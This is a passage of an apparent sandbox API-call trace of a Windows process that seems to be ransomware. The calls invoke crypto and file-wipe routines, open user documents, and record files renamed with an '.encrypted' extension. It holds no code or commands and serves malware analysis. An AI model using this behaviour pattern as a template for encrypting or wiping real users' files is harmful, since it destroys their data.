lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.803] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.803] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0023.803] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.803] CryptDestroyKey (hKey=0xe8f4062330) returned 1 [0023.803] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.803] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.803] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.803] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.803] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.803] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.803] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.803] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.803] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.804] PeekMessageW (in: lpMsg=0xe8f3dfe060, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe060) returned 0 [0023.804] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.804] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.804] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.804] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.804] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.804] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.804] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.804] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.804] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.804] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0023.804] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.804] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.804] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0023.804] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.804] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.804] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.804] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.804] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.804] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.804] CryptReleaseContext (hProv=0xe8f40633e0, dwFlags=0x0) returned 1 [0023.804] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.804] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.804] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0023.805] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.805] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.805] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.805] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.806] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.806] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.806] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0023.806] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.806] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.806] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.806] CharLowerBuffW (in: lpsz="byte[3293]", cchLength=0xa | out: lpsz="byte[3293]") returned 0xa [0023.806] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.806] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0023.806] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.806] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0023.807] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.807] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.807] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.807] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0023.807] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.807] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.807] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.807] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.807] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.807] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.807] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.807] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.807] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.807] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.807] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.807] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.807] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.807] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.807] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.807] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.807] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0023.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.808] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.808] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.808] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0023.808] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.808] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.809] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.809] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.809] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.809] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.809] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0023.809] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.809] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.809] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.809] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0023.809] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.810] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.810] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.810] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0023.810] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.810] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.810] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.810] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.810] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0023.810] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0023.810] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=2377) returned 1 [0023.810] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.810] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0023.810] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0023.810] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x949, lpOverlapped=0x0) returned 1 [0023.811] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0023.811] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x949, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.811] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=2377) returned 1 [0023.811] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\13i0VlibnO4QxctB5.encrypted.odp\r\n", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0023.811] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\13i0VlibnO4QxctB5.encrypted.odp\r\n", cchWideChar=65, lpMultiByteStr=0xe8f4050ff0, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\13i0VlibnO4QxctB5.encrypted.odp\r\n", lpUsedDefaultChar=0x0) returned 65 [0023.811] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f40696b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40696b0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x40, lpOverlapped=0x0) returned 1 [0023.811] CloseHandle (hObject=0x1fc) returned 1 [0023.811] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.812] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.812] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.812] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.812] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.812] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0023.812] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.813] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0023.813] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0023.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0023.813] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178820, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0023.814] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0023.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178820, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0023.814] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0023.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\2sfMU.docx", cchWideChar=42, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0023.814] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\2sfMU.docx", cchWideChar=42, lpMultiByteStr=0xe8f404c350, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\2sfMU.docx", lpUsedDefaultChar=0x0) returned 42 [0023.814] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\2sfMU.docx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\2sfmu.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0023.814] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=42, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 42 [0023.814] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=42, lpWideCharStr=0xe8f40699b0, cchWideChar=42 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\2sfMU.docx") returned 42 [0023.815] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0023.815] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.815] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.815] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0023.816] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0023.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0023.816] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178680, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0023.816] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0023.816] CloseHandle (hObject=0x1fc) returned 1 [0023.816] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0023.816] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0023.816] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0023.816] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0023.816] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0023.816] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0023.816] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: 